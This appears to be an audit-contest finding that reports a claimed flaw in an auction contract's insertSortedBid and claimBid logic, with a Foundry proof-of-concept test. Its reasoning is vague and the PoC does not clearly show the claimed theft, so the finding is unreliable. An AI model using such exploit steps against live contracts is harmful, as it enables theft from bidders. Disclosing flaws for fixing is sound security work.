Wide Cedar Orca - Attacker who is not the winner can claimBid() of the winner.

[sherlock-admin4]

Wide Cedar Orca

Medium

Attacker who is not the winner can claimBid() of the winner.

Summary

insertSortedBid function depends on both sellCouponAmount and buyReserveAmount to determine bid placement in the auction. There is no check on the sellCouponAmount and buyReserveAmount to determine the highest bid. This can lead to uncertainty in the highest bid.

Root Cause

The root cause is the insertSortedBid where the highest bid is sorted there

Internal Pre-conditions

No response

External Pre-conditions

No response

Attack Path

1. Attacker can submit 10 ETH to place a bid
2. A user place the highest bid of 55 ETH
3. User calls the claimBid() first

Impact

No matter who placed the highest bid, anyone with a low bid can call claimBid and get the bid reward that is meant for the highest bidder(winner)

PoC

function testBidSuccessMultiBidsWithWei() public {
    address legetimateUser = address(0x123131);

    usdc.mint(bidder, 100 ether);
    usdc.mint(legetimateUser, 1000 ether);

    weth.mint(address(auction), 1000000000000 ether);

    uint256 slot = auction.slotSize();

    vm.startPrank(bidder);
    usdc.approve(address(auction), 40 ether);

    auction.bid(1, slot);

    auction.bid(50 ether, slot);

    auction.bid(1, slot);

    auction.bid(1, slot);

    // auction.bid(10, slot);
    vm.stopPrank();

    vm.startPrank(legetimateUser);
    usdc.approve(address(auction), 100 ether);
    // vm.expectRevert();
    auction.bid(55 ether, slot);
    vm.stopPrank();

    vm.warp(block.timestamp + 15 days);
    vm.prank(pool);
    auction.endAuction();

    vm.prank(bidder);
    auction.claimBid(1);
  }

Mitigation

No response